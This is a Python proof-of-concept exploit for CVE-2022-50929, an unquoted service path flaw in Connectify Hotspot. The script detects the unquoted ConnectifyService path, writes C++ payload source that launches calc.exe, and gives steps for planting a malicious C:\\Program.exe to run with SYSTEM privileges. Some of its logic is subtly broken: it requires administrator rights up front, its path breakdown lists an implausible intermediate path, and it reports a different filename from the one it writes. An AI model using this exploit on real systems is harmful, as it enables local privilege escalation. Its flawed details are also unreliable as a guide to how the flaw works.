CVE-2022-50929

# CVE-2022-50929 PoC - Connectify Hotspot Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in Connectify Hotspot # Author: Security Researcher # Date: 2022 import os import sys import subprocess import ctypes def check_privileges(): """Check if running with administrator privileges""" try: is_admin = ctypes.windll.shell32.IsUserAnAdmin() return is_admin != 0 except: return False def check_vulnerable_service(): """Check if ConnectifyService is installed and vulnerable""" try: result = subprocess.run( ['sc', 'qc', 'ConnectifyService'], capture_output=True, text=True ) if result.returncode == 0: output = result.stdout if 'BINARY_PATH_NAME' in output: # Check if path is unquoted for line in output.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() if '"' not in path and ('Program Files' in path or 'Connectify' in path): print(f"[VULNERABLE] Unquoted path detected: {path}") return True, path return False, None except Exception as e: print(f"Error checking service: {e}") return False, None def create_payload(payload_path): """Create a simple payload that writes to a log file""" try: # Simple C++ payload that executes calc.exe and logs activity payload_code = ''' #include <windows.h> #include <fstream> using namespace std; int main() { // Log exploitation attempt ofstream logFile("C:\\\\exploit_log.txt", ios::app); logFile << "[!] Exploit executed at " << __TIME__ << endl; logFile.close(); // Execute calc.exe as demonstration system("calc.exe"); return 0; } ''' with open(payload_path.replace('.exe', '.cpp'), 'w') as f: f.write(payload_code) print(f"[+] Payload source code written to {payload_path}.cpp") print("[!] Compile the payload and name it 'Program.exe'") return True except Exception as e: print(f"Error creating payload: {e}") return False def main(): print("="*60) print("CVE-2022-50929 PoC - Connectify Hotspot Unquoted Service Path") print("="*60) if not check_privileges(): print("[-] This exploit requires administrator privileges") print("[*] Please run as administrator") sys.exit(1) print("[+] Running with administrator privileges") is_vulnerable, service_path = check_vulnerable_service() if is_vulnerable: print(f"[+] ConnectifyService is VULNERABLE") print(f"[+] Service path: {service_path}") print("\n[*] Attack vector:") print(" 1. Place malicious 'Program.exe' in C:\\") print(" 2. Wait for service restart or system reboot") print(" 3. Malicious code executes with SYSTEM privileges") # Demonstrate the attack path attack_path = r"C:\Program Files (x86)\Connectify\ConnectifyService.exe" print(f"\n[*] Vulnerable path breakdown:") print(f" {attack_path}") print(f" -> System tries: C:\Program.exe (first)") print(f" -> Then: C:\Program Files\ConnectifyService.exe") print(f" -> Finally: C:\Program Files (x86)\Connectify\ConnectifyService.exe") # Create payload create_payload(r"C:\Program.exe") else: print("[-] ConnectifyService is not vulnerable or not installed") if __name__ == "__main__": main()

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